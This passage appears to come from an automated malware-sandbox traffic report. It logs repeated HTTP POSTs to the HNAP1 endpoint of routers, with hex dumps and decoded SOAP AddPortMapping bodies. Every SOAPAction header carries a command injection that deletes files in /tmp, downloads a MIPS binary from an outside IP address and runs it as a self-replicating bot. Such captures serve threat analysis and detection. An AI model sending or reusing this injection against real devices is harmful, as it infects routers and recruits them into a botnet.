3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
